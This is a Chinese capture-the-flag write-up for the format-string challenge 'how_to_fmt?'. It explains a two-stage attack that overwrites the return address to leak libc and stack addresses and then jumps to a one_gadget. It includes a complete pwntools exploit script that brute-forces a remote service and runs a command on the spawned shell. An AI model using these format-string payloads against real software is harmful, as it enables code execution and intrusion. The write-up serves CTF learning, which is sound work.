Problem: [NSSCTF 4th]how_to_fmt?
思路
只有一次的格式化字符串。
利用格式化字符串先解析不指定偏移的占位符,再解析指定偏移的占位符的逻辑。我们可以先利用不指定偏移的占位符修改一个三联指针指向返回地址;再使用指定偏移的格式化字符串修改返回地址,劫持程序返回main函数的同时泄露出libc和栈,然后第二次直接修改返回地址为 one_gadget 即可。
ps:格式化字符串中,每一个不指定偏移的占位符都会将%对应的偏移+1,所以我们可以用大量%c 这种来得到对应的偏移,效果等同于用$指定偏移。
EXP
from pwn import * context(arch='amd64',log_level='debug') file = '../fmt' elf = ELF(file) libc = elf.libc s = lambda data :io.send(data) sa = lambda text,data :io.sendafter(text, data) sl = lambda data :io.sendline(data) sla = lambda text,data :io.sendlineafter(text, data) r = lambda num=4096 :io.recv(num) rl = lambda :io.recvline() ru = lambda text :io.recvuntil(text) uu32 = lambda :u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) uu64 = lambda :u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) inf = lambda s :info(f"{s} ==> 0x{eval(s):x}") while 1: try: # io = process(file) io = remote('node1.anna.nssctf.cn',28144) pay = b'%c'*22+f'%{0x98-22}c%hhn'.encode()+f'%{0x1CE-0x98}c%26$hhn%26$p%29$p'.encode() # gdb.attach(io,'b *$rebase(0x12AD)') s(pay) ru(b'0x') stack = int(r(12),16) inf('stack') ru(b'0x') libc.address = int(r(12),16)-0x2a1ca inf('libc.address') ogg = 0xef52b+libc.address inf('ogg') pay = f'%{ogg&0xffff}c%14$hn%{(((ogg&0xffff0000)>>16)-(ogg&0xffff))&0xffff}c%15$hn%{(((ogg&0xffff00000000)>>32)-((ogg&0xffff0000)>>16))&0xffff}c%16$hn'.encode().ljust(0x30,b'\x00')+p64(stack)+p64(stack+2)+p64(stack+4) s(pay) sl('cat flag') r() io.interactive() except KeyboardInterrupt: io.close() exit(1) except EOFError: io.close() continue
总结
这道题还是比较简单的,主要是考察对printf理解和利用。

其实最想知道的还是没说。
WP中描述"可以用大量%c 这种来得到对应的偏移,效果等同于用特殊符号指定偏移"。但实际上第一个payload的第一个"hhn写入"真的采用"指定偏移"的方式反而无法单字节写入,这样爆破写入存储rbp的栈地址为栈上返回地址所在的栈地址也自然那无从谈起。
在一个payload中同时存在多个数据写入部分的时候,究竟什么时候能生效什么时候因为什么原因不能生效是一个大问题,还会存在同样的小量数据hn无法写入但是lln可以写入的情况。从来没有任何WP说过类似的内容。感叹可能只能研究源码去了。